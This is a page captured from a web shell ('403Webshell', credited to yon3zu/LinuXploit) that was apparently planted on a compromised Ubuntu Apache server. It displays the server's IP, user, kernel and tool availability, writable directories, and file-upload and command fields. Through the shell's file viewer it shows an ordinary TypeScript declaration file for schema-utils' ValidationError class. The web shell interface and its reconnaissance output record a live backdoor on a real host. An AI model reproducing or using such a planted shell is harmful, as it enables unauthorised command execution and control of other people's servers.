403Webshell
Server IP : 107.13.46.68  /  Your IP : 216.73.216.232
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux mariOS 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec 5 13:09:44 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/nodejs/schema-utils/declarations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/schema-utils/declarations/ValidationError.d.ts
export default ValidationError;
export type JSONSchema6 = import("json-schema").JSONSchema6;
export type JSONSchema7 = import("json-schema").JSONSchema7;
export type Schema = import("./validate").Schema;
export type ValidationErrorConfiguration = import("./validate").ValidationErrorConfiguration;
export type PostFormatter = import("./validate").PostFormatter;
export type SchemaUtilErrorObject = import("./validate").SchemaUtilErrorObject;
declare class ValidationError extends Error {
    /**
     * @param {Array<SchemaUtilErrorObject>} errors
     * @param {Schema} schema
     * @param {ValidationErrorConfiguration} configuration
     */
    constructor(errors: Array<SchemaUtilErrorObject>, schema: Schema, configuration?: ValidationErrorConfiguration);
    /** @type {Array<SchemaUtilErrorObject>} */
    errors: Array<SchemaUtilErrorObject>;
    /** @type {Schema} */
    schema: Schema;
    /** @type {string} */
    headerName: string;
    /** @type {string} */
    baseDataPath: string;
    /** @type {PostFormatter | null} */
    postFormatter: PostFormatter | null;
    /**
     * @param {string} path
     * @returns {Schema}
     */
    getSchemaPart(path: string): Schema;
    /**
     * @param {Schema} schema
     * @param {boolean} logic
     * @param {Array<Object>} prevSchemas
     * @returns {string}
     */
    formatSchema(schema: Schema, logic?: boolean, prevSchemas?: Array<Object>): string;
    /**
     * @param {Schema=} schemaPart
     * @param {(boolean | Array<string>)=} additionalPath
     * @param {boolean=} needDot
     * @param {boolean=} logic
     * @returns {string}
     */
    getSchemaPartText(schemaPart?: Schema | undefined, additionalPath?: (boolean | Array<string>) | undefined, needDot?: boolean | undefined, logic?: boolean | undefined): string;
    /**
     * @param {Schema=} schemaPart
     * @returns {string}
     */
    getSchemaPartDescription(schemaPart?: Schema | undefined): string;
    /**
     * @param {SchemaUtilErrorObject} error
     * @returns {string}
     */
    formatValidationError(error: SchemaUtilErrorObject): string;
    /**
     * @param {Array<SchemaUtilErrorObject>} errors
     * @returns {string}
     */
    formatValidationErrors(errors: Array<SchemaUtilErrorObject>): string;
}

Youez - 2016 - github.com/yon3zu
LinuXploit